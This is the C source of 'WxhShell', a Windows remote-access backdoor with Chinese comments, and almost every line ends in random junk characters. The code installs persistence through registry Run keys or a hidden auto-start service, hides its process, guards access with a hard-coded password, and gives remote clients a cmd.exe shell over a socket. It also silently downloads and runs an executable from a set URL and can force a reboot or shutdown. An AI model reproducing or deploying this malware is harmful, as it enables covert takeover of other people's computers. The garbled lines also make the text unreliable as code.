  case 'd': { Lq#>N_72W0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a!Z.ZA  
    if(Boot(SHUTDOWN)) 5,3Yt~\m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ij+ E/V  
    else { q9GSUkb  
    closesocket(wsh); "I"(yiKD  
    ExitThread(0); 35}{dr  
    } Y7QIFY's~  
    break; . zM  
    } OGgP~hd  
  // 获取shell Tk[`kmb  
  case 's': { y6.Q\=  
    CmdShell(wsh); ?W  l=F/  
    closesocket(wsh); >"^H"K/T  
    ExitThread(0); ?.&]4z([  
    break; >Ux5UD  
  } m'|{AjH z6  
  // 退出 y'ZRoakz)  
  case 'x': { u="VJ3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9EryHV|  
    CloseIt(wsh); y/!h.[  
    break; !!NVx\a  
    } Tv d=EO  
  // 离开 oz!;sj{,D  
  case 'q': { qPJU}(9#B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SiN22k+  
    closesocket(wsh);  yQkj4v{  
    WSACleanup(); Jvysvi{8  
    exit(1); %G~ f>  
    break; cN/8 b0C  
        } dW3q  
  } 1aC ?*,e?  
  } zLQplw`#  
F<'@T,LVc  
  // 提示信息 sq6|J])GgU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "xS?#^a  
} m791w8Vr  
  } N7A/&~g5L  
_7?LINF9  
  return; /UG H7srx  
} Pb05>J3N  
fD8A+aA  
// shell模块句柄 "Dbjp5_  
int CmdShell(SOCKET sock) [C@0&[[  
{ oM`[&m.,  
STARTUPINFO si; s`2Hf&%aZJ  
ZeroMemory(&si,sizeof(si)); dpHK~n j\_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W~ 6ii\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G.KZZ-=_4  
PROCESS_INFORMATION ProcessInfo; HtWuZq; w  
char cmdline[]="cmd"; n:c)R8X]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a8K"Z-LlQ  
  return 0; bAIo5lr  
} +" 4E:9P?  
GT|=Kx$;  
// 自身启动模式 f_}FYeg  
int StartFromService(void) 9p ;)s  
{ S^}@X?v  
typedef struct $<jI<vD+:  
{ -3 }  
  DWORD ExitStatus; cwK 6$Ax  
  DWORD PebBaseAddress; @pueM+(L&  
  DWORD AffinityMask; b"-eQb  
  DWORD BasePriority; p#:.,;  
  ULONG UniqueProcessId; p s:|YR  
  ULONG InheritedFromUniqueProcessId; U0}]3a0  
}   PROCESS_BASIC_INFORMATION; =i jGB~  
r"s <;  
PROCNTQSIP NtQueryInformationProcess; P$MAURFm  
Yrb[:;Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a =LjFpv/]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rYI9?q  
^:Vwblv(  
  HANDLE             hProcess; 4u;db_gX  
  PROCESS_BASIC_INFORMATION pbi; cX$ Pq  
# [c`]v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;IX3w:Aw  
  if(NULL == hInst ) return 0; SWujj,-[  
p"Ki$.Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]HoQ6R\E b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z_&6 <1,H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /p| ]*={  
0m?v@K' l  
  if (!NtQueryInformationProcess) return 0; Vw7NLTE}`  
nKn,i$sO/.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f]F]wg\_f  
  if(!hProcess) return 0; {5}UP@h  
n,eO6X 4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0*?~I;.2m$  
q=8I0E&q  
  CloseHandle(hProcess); yw'b^D/  
IZ /Md@C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y"= j[.  
if(hProcess==NULL) return 0; OyVdQ".  
1-C 2Y `  
HMODULE hMod; KL]@y!QU  
char procName[255]; d, j"8\@  
unsigned long cbNeeded; |ToCRM  
A!}Wpw%(/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  :~JgB  
\N1 G5W  
  CloseHandle(hProcess); (Sc]dH  
]wLHe2bE u  
if(strstr(procName,"services")) return 1; // 以服务启动 U#v??Sl  
[bH5UTA  
  return 0; // 注册表启动 j>s> i  
} X^4HYm  
M|e Qds  
// 主模块 *RKYdwnb  
int StartWxhshell(LPSTR lpCmdLine) o@[yF<  
{ m_~!Lj[u.  
  SOCKET wsl; E )D*~2o/  
BOOL val=TRUE; l ,0]iVJ  
  int port=0; pv%UsbY  
  struct sockaddr_in door; j["b*X`8G  
>jU.R;H5  
  if(wscfg.ws_autoins) Install(); .L'>1H]B  
(Nd5VuI  
port=atoi(lpCmdLine); DYlu`j_ux  
"`Q~rjc$2  
if(port<=0) port=wscfg.ws_port; Q:$<`K4)  
qn}w]yGW  
  WSADATA data; ,.Ac= "f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [pf78  
)F;`07  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q/rOIHiI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >YuBi:z  
  door.sin_family = AF_INET; 0?525^   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :Rc>=)<7  
  door.sin_port = htons(port); E[bJ5o**#  
k4te[6)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .]`LR@qf  
closesocket(wsl); 7a.$tT  
return 1; ,a&N1G.  
} zg,?aAm  
Rk8>Ak(/  
  if(listen(wsl,2) == INVALID_SOCKET) { a[iuE`  
closesocket(wsl); ur^)bp<n  
return 1; 8/X#thG  
} q h;ahX~  
  Wxhshell(wsl); 4PUSFZK?  
  WSACleanup(); fMRBGcg7Dc  
dD@k{5  
return 0; -MZ LkSU  
6tXx--Nh  
} jt-Cy  
P]A>"-k  
// 以NT服务方式启动 -?gr3rV@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lNuZg9h  
{ K@lZuQ.1  
DWORD   status = 0; nsWenf  
  DWORD   specificError = 0xfffffff; INZycNqm,  
JFe %W?}.D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wb^Yg9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^Nl)ocHv!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *het_;)+{  
  serviceStatus.dwWin32ExitCode     = 0; q B-9&X  
  serviceStatus.dwServiceSpecificExitCode = 0; M^I*;{w6i  
  serviceStatus.dwCheckPoint       = 0; J+IQvOn_|  
  serviceStatus.dwWaitHint       = 0; U^<\'`  
BU-+L}-48  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZzET8?8  
  if (hServiceStatusHandle==0) return; EMME?OW$  
^LgaMmz  
status = GetLastError(); X6s6fu;  
  if (status!=NO_ERROR) =~Oi:+L  
{ "5*n(S{ks  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p?S:J`q  
    serviceStatus.dwCheckPoint       = 0; `WvNN>R  
    serviceStatus.dwWaitHint       = 0; |r*btyOJk  
    serviceStatus.dwWin32ExitCode     = status; FT'_{e!M  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6v7H?4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X^mv sY  
    return; cbvK;;  
  } WJvD,VMz  
d5$2*h{^v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VXEA.Mko  
  serviceStatus.dwCheckPoint       = 0; JEq0{_7  
  serviceStatus.dwWaitHint       = 0; cn1CM'Ru  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _[}r2,e  
} t]1j4S"pm  
6||zwwk'.  
// 处理NT服务事件,比如:启动、停止 #|'&%n|Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i-oi?x<u&(  
{ KfpDPwP@  
switch(fdwControl) No8~~  
{ PGZ.\i  
case SERVICE_CONTROL_STOP: kb<Nuw  
  serviceStatus.dwWin32ExitCode = 0; u=B_cA}:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OH~X~n-Z  
  serviceStatus.dwCheckPoint   = 0; IgH[xwzy[  
  serviceStatus.dwWaitHint     = 0; It,m %5 Py  
  { JJJlgr]#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g;)xf?A9q  
  } - Z?rx5V;t  
  return; ldcYw@KQ  
case SERVICE_CONTROL_PAUSE: }}Ah-QU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; seWYY $$  
  break; c`~aiC`l  
case SERVICE_CONTROL_CONTINUE: x]umh{H~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NQefrof  
  break; 3vTX2e.w  
case SERVICE_CONTROL_INTERROGATE: IE*GF27n  
  break; oL0Q%_9hW  
}; \z!*)v/{-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); is&A_C7yg  
} s6<`#KFAg  
UEmNT9V  
// 标准应用程序主函数 S^|Uzc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y~]E6'Bz  
{ 3f9J! B`n  
cQDn_Sjhi  
// 获取操作系统版本 rq'Cj<=Zj  
OsIsNt=GetOsVer(); fhqc[@Y[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iyNyj44 H  
"orZje9AC  
  // 从命令行安装 cQEK>aAd  
  if(strpbrk(lpCmdLine,"iI")) Install(); =)5eui>{  
XE);oL2xP  
  // 下载执行文件 #UGtYD}"  
if(wscfg.ws_downexe) { a.)Gd]}g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lO},fM2j  
  WinExec(wscfg.ws_filenam,SW_HIDE); Omo1p(y  
} i-!Z/,oL  
<(x[Qp/5P  
if(!OsIsNt) { 1c);![O  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~5$V8yfx h  
HideProc(); g2%&/zq/  
StartWxhshell(lpCmdLine); X~XpX7d!  
} ^G'8!!ys  
else qH'T~# S  
  if(StartFromService()) S)Cd1`Gf  
  // 以服务方式启动 $7~ k#_#PC  
  StartServiceCtrlDispatcher(DispatchTable); )f]E<*k'E  
else i/QE)"B"q  
  // 普通方式启动 01Bs7@"+  
  StartWxhshell(lpCmdLine); [su2kOX|X  
kSGFLP1FN  
return 0; 8v)pPJr  
} c;DWSgIw  
'J~{8w,.  
+^$FA4<~  
@$'k1f(u>  
=========================================== ?H8w/{J   
QCkPua9  
p]=a:kd4J  
, Zs:e.  
GKdQ  
vy W/f  
" 1zNH[   
9ui_/[K  
#include <stdio.h> QXx<Hi^ /  
#include <string.h> nTO,d$!Kp  
#include <windows.h> 4$9WJ ~V{  
#include <winsock2.h> -1t"(v  
#include <winsvc.h> +=#sa m*i  
#include <urlmon.h> KJc fbZ~  
9?<WRM3a>  
#pragma comment (lib, "Ws2_32.lib") HFYN(nz}[  
#pragma comment (lib, "urlmon.lib") qPsf`nI7  
YCod\}3  
#define MAX_USER   100 // 最大客户端连接数 >0kn&pe7#T  
#define BUF_SOCK   200 // sock buffer y7aBF13Kl  
#define KEY_BUFF   255 // 输入 buffer ^n#6CW*n  
cn (-{dCXM  
#define REBOOT     0   // 重启 2Jo'!|]  
#define SHUTDOWN   1   // 关机 M@@l>"g@  
X%Jq9_  
#define DEF_PORT   5000 // 监听端口 :-HVK^$%  
Zh.5\&bm  
#define REG_LEN     16   // 注册表键长度 6W&huIQ[  
#define SVC_LEN     80   // NT服务名长度 nQ>?{"  
Dp|y&x!  
// 从dll定义API EjLj5Z/q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SSO F\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;&4}hPq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &~oBJar  
d`9% :2qE  
// wxhshell配置信息 wi/Fx=w  
struct WSCFG { ; V)pXLE  
  int ws_port;         // 监听端口 ]pi"M 3f_  
  char ws_passstr[REG_LEN]; // 口令 n'a=@/  
  int ws_autoins;       // 安装标记, 1=yes 0=no JK:i-  
  char ws_regname[REG_LEN]; // 注册表键名 !-1UJqO  
  char ws_svcname[REG_LEN]; // 服务名 $ )q?z.U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T+p ?VngF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s0,c4y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t|q@~B :  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dH"wYMNL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?&?gQ#\N_J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hq'mv_}qG  
(0/g)gW  
}; qP? V{N  
@{16j# 'R  
// default Wxhshell configuration 9xL8 ];-  
struct WSCFG wscfg={DEF_PORT, M3- bFIt  
    "xuhuanlingzhe", ${\iHg[vZ  
    1, x]o~ %h$  
    "Wxhshell", yT<6b)&*&  
    "Wxhshell", 0LX;Vvo  
            "WxhShell Service", ^hPREbD+f  
    "Wrsky Windows CmdShell Service", C}grY5 :  
    "Please Input Your Password: ", ST'M<G%4E  
  1, `j+aAxJ=\  
  "http://www.wrsky.com/wxhshell.exe",  WK;X6`  
  "Wxhshell.exe" ?v8.3EE1\o  
    }; $g? ]9}p  
:D(4HXHK%  
// 消息定义模块 le1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h:{rjXK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <u>l#weG,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i> Wsc?  
char *msg_ws_ext="\n\rExit."; ?K9&ye_rgw  
char *msg_ws_end="\n\rQuit."; B:5\+_a!  
char *msg_ws_boot="\n\rReboot..."; ;{mKt%#  
char *msg_ws_poff="\n\rShutdown..."; ! h7?Ap  
char *msg_ws_down="\n\rSave to "; :t?Z  
h!l&S2)D`  
char *msg_ws_err="\n\rErr!"; :l~^un|<2Y  
char *msg_ws_ok="\n\rOK!"; -Lh\]  
Ni]V)wGE;  
char ExeFile[MAX_PATH]; u0^Vy#@_  
int nUser = 0; TC7&IqT  
HANDLE handles[MAX_USER]; 7Gg3$E+#*  
int OsIsNt; B->3/dp2c'  
dO/iL7K&  
SERVICE_STATUS       serviceStatus; rH@ {[~p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m~`d<RM/  
rqJ'm?>cr  
// 函数声明 cm`Jr#kl{  
int Install(void); hgt@Mb   
int Uninstall(void); /SDN7M]m!  
int DownloadFile(char *sURL, SOCKET wsh); -Zs.4@GH  
int Boot(int flag); hRK&  
void HideProc(void); g}(yq:D  
int GetOsVer(void); V`*N2ztSL  
int Wxhshell(SOCKET wsl); AAbI+L0m{  
void TalkWithClient(void *cs); (`C#Tq  
int CmdShell(SOCKET sock); 9 t)A_}O  
int StartFromService(void); 88%7  
int StartWxhshell(LPSTR lpCmdLine); |C;8GSw>|F  
r@e/<bz9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hp ?4w),  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @~t^zI1  
1Pya\To,m  
// 数据结构和表定义 _:(RkS!x  
SERVICE_TABLE_ENTRY DispatchTable[] = -!_f-Nny  
{ qfJi[8".  
{wscfg.ws_svcname, NTServiceMain}, ./SDZ:5/  
{NULL, NULL} xi5G?r  
}; Da.eVU;  
]B8`b  
// 自我安装 lG[@s 'j  
int Install(void) =j,2  
{ -G\svwv@)  
  char svExeFile[MAX_PATH]; zVEG ) Hr  
  HKEY key; ..FEyf  
  strcpy(svExeFile,ExeFile); $7J9Yzp?L  
2HA-q),6  
// 如果是win9x系统,修改注册表设为自启动 {owXyQ2mK  
if(!OsIsNt) { 2bu,_<K.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <V[Qs3uo(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ez()W,6]g  
  RegCloseKey(key); 3C[#_&_l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~PaEhj&8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /\7E&n:)2  
  RegCloseKey(key); IKaa=r~  
  return 0; R y47Fze  
    } xxnvz  
  } `!BP.-Zv  
} FX1[ 2\  
else { pCacm@(hG  
~&}e8ah2  
// 如果是NT以上系统,安装为系统服务 P8& BtA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |DUWB;  
if (schSCManager!=0) uU$YN-  
{ #)3luf3G  
  SC_HANDLE schService = CreateService HB|R1<t;HB  
  ( 7~zd % o  
  schSCManager, |B{@noGX  
  wscfg.ws_svcname, fBj-R~;0  
  wscfg.ws_svcdisp, %P8*Az&]T  
  SERVICE_ALL_ACCESS, ,J*C'#sW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  =1MVF  
  SERVICE_AUTO_START, e]9Z]a2  
  SERVICE_ERROR_NORMAL, P/!W']OO  
  svExeFile, \ 8v^ hb  
  NULL, $U/|+*  
  NULL, [SKN}:D  
  NULL, 0Dt-!Q7  
  NULL, Ji#eA[  
  NULL o;[?b'\[d  
  ); PTS dW~3  
  if (schService!=0) MpNgp )%>  
  { 8-|| Nh  
  CloseServiceHandle(schService); twWzS 4;  
  CloseServiceHandle(schSCManager); 'w$jVX/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FF5|qCV/z  
  strcat(svExeFile,wscfg.ws_svcname); IGnP#@`5]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5eLm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n^lr7(!6  
  RegCloseKey(key); luWr.<1  
  return 0; urbSprdF  
    } TCWt3\  
  } >%\&tS'  
  CloseServiceHandle(schSCManager); M*gbA5  
} drwD3jx0xv  
} 6*&$ha}X  
F tS"vJ\  
return 1; 73p7]Uo  
} ''Y'ZsQ;  
`R!%k]$  
// 自我卸载 ieap  
int Uninstall(void) VbI$#;:[7  
{ |Cm6RH$(  
  HKEY key; o#K*-jOfiH  
,{C hHnJ%#  
if(!OsIsNt) { <B&vfKO^h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nsf>b8O  
  RegDeleteValue(key,wscfg.ws_regname); ~K/_51O'  
  RegCloseKey(key); J?9n4 u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Q?@LzCjy  
  RegDeleteValue(key,wscfg.ws_regname); }vX iqT  
  RegCloseKey(key); ;F;Vm$  
  return 0; =]fOQN`  
  } e>T;'7HSS"  
} po!bRk[4  
} Zmc"  
else { 3\ {?L  
ZLZh$eZZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LgxsO:mi  
if (schSCManager!=0) Ie]k/qw+Y  
{ : i{tqY%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q?2Gw N  
  if (schService!=0) 8-"D.b4  
  { ]~:WGo=_  
  if(DeleteService(schService)!=0) { a@S{ A5j  
  CloseServiceHandle(schService); Kw7uUJR  
  CloseServiceHandle(schSCManager); U#G<cV79  
  return 0; 2!_DkE  
  } 8F K%7\V  
  CloseServiceHandle(schService); %M,^)lRP  
  } 6z5wFzJv?q  
  CloseServiceHandle(schSCManager); F};T<#  
} 7n)ob![\d  
} /!'Png0!  
w m|WER*.  
return 1; YTD&swk  
} IhHKRb[  
RT. %\)))  
// 从指定url下载文件 Alk+MwjR  
int DownloadFile(char *sURL, SOCKET wsh) @u @,Edh  
{ u]*f^/6Q  
  HRESULT hr; l@0${&n  
char seps[]= "/"; Vq599M:)V  
char *token; %i) 0sE T  
char *file; BJgHel+N  
char myURL[MAX_PATH]; +bGO"*  
char myFILE[MAX_PATH]; 8'ut[  
jf.WmiDC  
strcpy(myURL,sURL); $|tk?Sps  
  token=strtok(myURL,seps); rI OKCL?  
  while(token!=NULL) 2f0mr?l)N  
  { . {vMn0c  
    file=token; A*~BkvPr  
  token=strtok(NULL,seps); j+PLtE   
  } PA*1]i#2M=  
T/PmT:Qg `  
GetCurrentDirectory(MAX_PATH,myFILE); |'``pq/}_  
strcat(myFILE, "\\"); OFxCV`>ce  
strcat(myFILE, file); j>?`N^  
  send(wsh,myFILE,strlen(myFILE),0); ceuEsQ}  
send(wsh,"...",3,0); ..R JHa6B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q`3HHq  
  if(hr==S_OK) eH V#Mey[  
return 0; PpLiH9}  
else =$y;0]7Lwi  
return 1;  Q@!XVQx4  
dT{GB!jz  
} 1k]L,CX  
~d3|zlh  
// 系统电源模块  }}Zg/(  
int Boot(int flag) vq+4so )/S  
{ 2Ab`i!#  
  HANDLE hToken; z(u,$vZ _  
  TOKEN_PRIVILEGES tkp; r>}z|I'  
5,pEJ>dDD3  
  if(OsIsNt) { 3+\Zom4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z*b$&nM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <G0Ut6J>  
    tkp.PrivilegeCount = 1; Z2 Vri  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !>N+a3   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); azzG  
if(flag==REBOOT) { V|TD+7.`QB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jNI9 .45y  
  return 0; w9StW9 4p  
} +k h Tl:  
else { 1*e7NJ/.,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }; R2M  
  return 0; WL|<xNL  
} _f~$iY  
  } e=s({V  
  else { },{sJ0To  
if(flag==REBOOT) { 1\%@oD_zG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iL!4r]~H  
  return 0; vQGv4  
} LM(r3sonb  
else { W7c B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VN0KK 1 I  
  return 0; ^ZIs>.'  
} Av0(zA2  
} Rt7l`|g a+  
(Y*9 [hm  
return 1; -Mf-8zw8G  
} ^oYRB EIJH  
3ZN\F  
// win9x进程隐藏模块 AiL80W^=d)  
void HideProc(void) v0TbQ  
{  7|yEf  
i&p6UU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y78DYbU.  
  if ( hKernel != NULL ) `EfFyhG$  
  { u9(42jj[$U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $=X>5B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0>46ZzxUZ  
    FreeLibrary(hKernel); `e`DSl D>  
  } ,hr v  
?D,j!Hy  
return; aI=Q_}8-  
} Nc HU)  
ao0^;  
// 获取操作系统版本 orYZ<,u  
int GetOsVer(void) U<r!G;^`  
{ =.OzpV)=V  
  OSVERSIONINFO winfo; K}M lC}oIt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |3~]XN-  
  GetVersionEx(&winfo); 7z$bCO L=S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *FC|v0D  
  return 1; :yE0DS<_  
  else &*E! %57  
  return 0; L7nG5i  
} (>Nwd^  
'@ p464  
// 客户端句柄模块 :xTm- L  
int Wxhshell(SOCKET wsl) (74y2U6  
{ V2xvuDHI  
  SOCKET wsh; ?S9vYaA$  
  struct sockaddr_in client; a@Zolz_Z  
  DWORD myID; e2BC2K0  
%pH|2VB#  
  while(nUser<MAX_USER) O,-NzGs  
{ miTff[hsMa  
  int nSize=sizeof(client); I;1)a4Xc4R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2ga8 G4dU  
  if(wsh==INVALID_SOCKET) return 1; _>aP5g?Ep  
~{);Ab.9+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -E3cS  
if(handles[nUser]==0) s|:1z"q  
  closesocket(wsh); ,jtaTG.>  
else +Wgfxk'{  
  nUser++; \YFM5l;IU  
  } H:9G/Nev  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e2K9CE.O  
&cd>.&1<2  
  return 0; p@Cas  
} KT*>OYI  
eE=2~ ylU  
// 关闭 socket FzP1b_i  
void CloseIt(SOCKET wsh) @/ nGc9h  
{ : 2$*'{mM  
closesocket(wsh); 9[W >`JKo  
nUser--; e ky1}  
ExitThread(0); $TS97'$  
} ?Bl/bY$*h  
H'7s`^- >I  
// 客户端请求句柄 B[6k [Vs  
void TalkWithClient(void *cs) @HSK[[?  
{ {]Cn@.TPD  
Vp0_R9oQ  
  SOCKET wsh=(SOCKET)cs; #U7pT!F x  
  char pwd[SVC_LEN];  ^u#iz  
  char cmd[KEY_BUFF]; Rjlp<  
char chr[1]; |W$|og'wC  
int i,j; 61_-G#W  
c53:E'g  
  while (nUser < MAX_USER) { cH4 PrMm&  
WRAL/  
if(wscfg.ws_passstr) { _%Ua8bR$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OB\ZT@l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]h&1|j1  
  //ZeroMemory(pwd,KEY_BUFF); O:a=94  
      i=0; >dJ~  
  while(i<SVC_LEN) { Cz$q"U  
Lfdg5D5.P  
  // 设置超时 ij~-  
  fd_set FdRead; S0gxVd(  
  struct timeval TimeOut;  +Mhk<A[s  
  FD_ZERO(&FdRead); %W2U$I5  
  FD_SET(wsh,&FdRead); f [.'V1  
  TimeOut.tv_sec=8; rlawH}1b  
  TimeOut.tv_usec=0; LH=^3Gw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R".$x{{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;UUgqX#  
sWMln:=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PB.'huu  
  pwd=chr[0]; fH?A.JP=a  
  if(chr[0]==0xd || chr[0]==0xa) { HB$?}V  
  pwd=0; 12hD*,A5j  
  break; XGbpH<  
  } 'Ha> >2M  
  i++; vdQ#C G$/  
    } INp:;  
7:Rt) EE2  
  // 如果是非法用户,关闭 socket U <q`f-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &Td)2Wt  
} c3ru4o*K  
:g' 'GqGZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zxIP-QaA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HwZl"!;Mry  
HC1<zW[  
while(1) { nCp_RJu  
e57R6g)4  
  ZeroMemory(cmd,KEY_BUFF); <|?)^;R5!  
]W4{|%@H"  
      // 自动支持客户端 telnet标准   _x3=i\O,  
  j=0; ^);M}~  
  while(j<KEY_BUFF) { %n8CK->  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6OAEAIh  
  cmd[j]=chr[0]; )ZBNw{nh  
  if(chr[0]==0xa || chr[0]==0xd) { g6P^JW}.  
  cmd[j]=0; {^(uoB C/  
  break; j (Q# NFT7  
  } OI"g-+~  
  j++; H_t0$x(\  
    } vr{|ubG]d  
$w <R".4  
  // 下载文件 QRrAyRf[  
  if(strstr(cmd,"http://")) { %8%|6^,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %#~wFW|]x  
  if(DownloadFile(cmd,wsh)) r\F2X J^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $F9w0kz:,*  
  else i=]R1yP  
